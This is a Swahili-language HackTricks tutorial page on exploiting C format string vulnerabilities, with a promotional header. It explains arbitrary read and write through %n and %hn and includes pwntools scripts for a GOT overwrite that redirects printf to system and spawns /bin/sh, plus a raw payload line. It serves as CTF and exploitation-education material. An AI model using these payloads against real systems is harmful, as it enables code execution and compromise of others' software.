.. | ||
format-strings-template.md | ||
README.md |
Strings za Umbizo
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
- Je, unafanya kazi katika kampuni ya usalama wa mtandao? Je, ungependa kuona kampuni yako ikitangazwa kwenye HackTricks? au ungependa kupata upatikanaji wa toleo jipya la PEASS au kupakua HackTricks kwa PDF? Angalia MIPANGO YA KUJIUNGA!
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
- Pata swag rasmi ya PEASS & HackTricks
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au fuata kwenye Twitter 🐦@carlospolopm.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye repo ya hacktricks na repo ya hacktricks-cloud.
Taarifa Msingi
Katika C printf
ni kazi inayoweza kutumika kwa kusambaza baadhi ya string. Parameter ya kwanza ambayo kazi hii inatarajia ni maandishi ghafi yenye formatters. Parameta zinazofuata zinatarajiwa kuwa thamani za kubadilisha formatters kutoka kwenye maandishi ghafi.
Udhaifu unaonekana wakati maandishi ya muhusika yanatumika kama hoja ya kwanza kwa kazi hii. Muhusika ataweza kutengeneza kuingia maalum kwa kudhuru uwezo wa strings za umbizo za printf kusoma na kuandika data yoyote kwenye anwani yoyote (inayoweza kusomwa/kuandikwa). Hivyo kuweza kutekeleza nambari za aina yoyote.
Formatters:
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
Mifano:
- Mfano wa kudukuliwa:
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
- Matumizi ya Kawaida:
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
- Kwa Vipengele Vilivyopotea:
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
Kupata Pointers
Muundo wa %<n>$x
, ambapo n
ni nambari, inaruhusu kuelekeza printf kuchagua parameter ya n (kutoka kwenye stack). Kwa hivyo, ikiwa unataka kusoma param 4 kutoka kwenye stack ukitumia printf unaweza kufanya hivi:
printf("%x %x %x %x")
Na ungesoma kutoka kwa paramu ya kwanza hadi ya nne.
Au unaweza kufanya:
printf("$4%x")
na soma moja kwa moja ya nne.
Gundua kwamba muhalifu anadhibiti pr
intf
parameter, ambayo kimsingi inamaanisha mchango wake utakuwa kwenye stack wakati printf
inaitwa, ambayo inamaanisha anaweza kuandika anwani maalum za kumbukumbu kwenye stack.
{% hint style="danger" %}
Muhalifu anayedhibiti mchango huu, ataweza kuongeza anwani za kiholela kwenye stack na kufanya printf
kuzifikia. Katika sehemu inayofuata itaelezwa jinsi ya kutumia tabia hii.
{% endhint %}
Kusoma Kiholela
Inawezekana kutumia mfumo wa $n%s
ili kufanya printf
ipate anwani iliyoko katika nafasi ya n, ikifuatiwa na kuichapisha kana kwamba ni string (kuichapisha hadi 0x00 inapatikana). Kwa hivyo ikiwa anwani ya msingi ya binary ni 0x8048000
, na tunajua kuwa mchango wa mtumiaji unaanza katika nafasi ya 4 kwenye stack, inawezekana kuchapisha mwanzo wa binary na:
from pwn import *
p = process('./bin')
payload = b'%6$p' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
{% hint style="danger" %} Tafadhali kumbuka huwezi kuweka anwani 0x8048000 mwanzoni mwa matokeo kwa sababu string itaongeza 0x00 mwishoni mwa anwani hiyo. {% endhint %}
Andika Kiholela
Mfumo $<num>%n
huandika idadi ya baits zilizoandikwa kwenye anwani iliyotajwa katika param ya <num> kwenye stack. Ikiwa mshambuliaji anaweza kuandika idadi kubwa ya char kama anavyotaka na printf, ataweza kufanya $<num>%n
iandike nambari ya kiholela kwenye anwani ya kiholela.
Kwa bahati nzuri, ili kuandika nambari 9999, si lazima kuongeza "A" 9999 kwenye matokeo, badala yake inawezekana kutumia mfumo %.<num-andika>%<num>$n
kuandika nambari <num-andika>
kwenye anwani inayoelekezwa na nafasi ya num
.
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
Hata hivyo, ni vyema kufahamu kwamba kawaida ili kuandika anwani kama vile 0x08049724
(ambayo ni nambari KUBWA kuandika kwa mara moja), inatumika $hn
badala ya $n
. Hii inaruhusu kuandika Byte 2 pekee. Kwa hivyo, operesheni hii inafanywa mara mbili, mara moja kwa Byte 2 za juu za anwani na mara nyingine kwa zile za chini.
Hivyo, udhaifu huu huruhusu kuandika chochote katika anwani yoyote (kuandika kiholela).
Katika mfano huu, lengo litakuwa ni kubadilisha anwani ya kazi katika taarifa ya GOT ambayo itaitwa baadaye. Ingawa hii inaweza kutumika vibaya kwa njia nyingine za kutekeleza kuandika kiholela kwa mbinu za kutekeleza:
{% content-ref url="../arbitrary-write-2-exec/" %} arbitrary-write-2-exec {% endcontent-ref %}
Tutakuwa tukibadilisha kazi ambayo inapokea vigezo vyake kutoka kwa mtumiaji na kuielekeza kwa kazi ya system
.
Kama ilivyotajwa, ili kuandika anwani, kawaida hatua 2 zinahitajika: Kwanza unahitaji kuandika Byte 2 za anwani na kisha nyingine 2. Kufanya hivyo, $hn
hutumiwa.
- HOB inaitwa kwa Byte 2 za juu za anwani
- LOB inaitwa kwa Byte 2 za chini za anwani
Kisha, kutokana na jinsi formati ya string inavyofanya kazi, unahitaji kuandika kwanza ile ndogo kati ya [HOB, LOB] na kisha nyingine.
Ikiwa HOB < LOB
[anwani+2][anwani]%.[HOB-8]x%[kielelezo]\$hn%.[LOB-HOB]x%[kielelezo+1]
Ikiwa HOB > LOB
[anwani+2][anwani]%.[LOB-8]x%[kielelezo+1]\$hn%.[HOB-LOB]x%[kielelezo]
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
{% code overflow="wrap" %}
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
{% endcode %}
Kigezo cha Pwntools
Unaweza kupata kigezo cha kuandaa shambulio kwa aina hii ya udhaifu katika:
{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}
Au mfano huu wa msingi kutoka hapa:
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
Matumizi ya Strings za Umbizo kwa BOF
Inawezekana kutumia vitendo vya kuandika kutoka kwa udhaifu wa stringi ya umbizo ili kuandika kwenye anwani za steki na kutumia udhaifu wa aina ya kujaza ujazo.
Mifano na Marejeo Mengine
- https://ir0nstone.gitbook.io/notes/types/stack/format-string
- https://www.youtube.com/watch?v=t1LH9D5cuK4
- https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html
- 32 bit, hakuna relro, hakuna canary, nx, hakuna pie, matumizi ya msingi ya strings za umbizo kufichua bendera kutoka kwenye steki (hakuna haja ya kubadilisha mtiririko wa utekelezaji)
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 bit, relro, hakuna canary, nx, hakuna pie, stringi ya umbizo ya kubadilisha anwani ya
fflush
na kazi ya ushindi (ret2win) - https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html
- 32 bit, relro, hakuna canary, nx, hakuna pie, stringi ya umbizo ya kuandika anwani ndani ya main katika
.fini_array
(hivyo mtiririko unarudi mara 1 zaidi) na kuandika anwani yasystem
katika jedwali la GOT ikionyesha kwastrlen
. Wakati mtiririko unarudi kwa main,strlen
inatekelezwa na matokeo ya mtumiaji na ikionyesha kwasystem
, itatekeleza amri zilizopitishwa.